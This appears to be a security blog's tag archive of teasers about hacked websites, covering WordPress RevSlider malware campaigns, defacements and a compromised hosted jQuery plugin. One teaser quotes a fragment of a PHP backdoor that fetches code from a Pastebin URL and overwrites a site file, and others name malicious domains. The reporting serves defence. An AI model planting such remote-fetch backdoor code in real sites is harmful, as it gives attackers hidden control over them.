Tag Archives: Website Hacked

The Impacts of a Hacked Website

Today, with the proliferation of open-source technologies like WordPress, Joomla! and other Content Management Systems (CMS) people around the world are able to quickly establish a virtual presence with little to no cost. In the process however, a lot is being lost in terms of what it means to own a website. We are failing More Info »

Website Backdoors Leverage the Pastebin Service

We continue our series of posts about hacker attacks that exploit a vulnerability in older versions of the popular RevSlider plugin. In this post we’ll show you a different backdoor variant that abuses the legitimate Pastebin.com service for hosting malicious files. Here’s the backdoor code: if(array_keys($_GET)[0] == ‘up’){ $content = file_get_contents(“http://pastebin . com/raw.php?i=JK5r7NyS”); if($content){unlink(‘evex.php’); $fh2 More Info »

2014 Website Defacements

Defacements are the most visual and obvious hack that a website can suffer from. They also come parcelled with their own exquisite sense of dread. Nothing gives that gut-wrenching feeling of “I’ve been hacked” more than seeing this: Most malware that we see on a daily basis is driven by some desire to profit off More Info »

New Malware Campaign – WPcache-Blogger – Affects Thousands more WordPress Websites via RevSlider

If SoakSoak wasn’t enough, we are starting to see a new malware campaign leveraging the RevSlider vulnerability and compromising thousands of WordPress sites in the last few days. Unlike SoakSoak, it’s comprised of 3 distinct malframes – creating one new campaign. We’re tracking each closely: 1- wpcache-blogger: This campaign is using the domain wpcache-blogger.com as More Info »

The Dangers of Hosted Scripts – Hacked jQuery Timers

Google blacklisted a client’s website claiming that malicious content was being displayed from forogozoropoto.2waky.com. A scan didn’t reveal anything suspicious. The next step was to check all third-party scripts on the website. Soon we found the offending script. It was hxxp://jquery.offput.ca/js/jquery.timers.js – a jQuery Timers plugin that was moderately popular 5-6 years ago. Right now, More Info »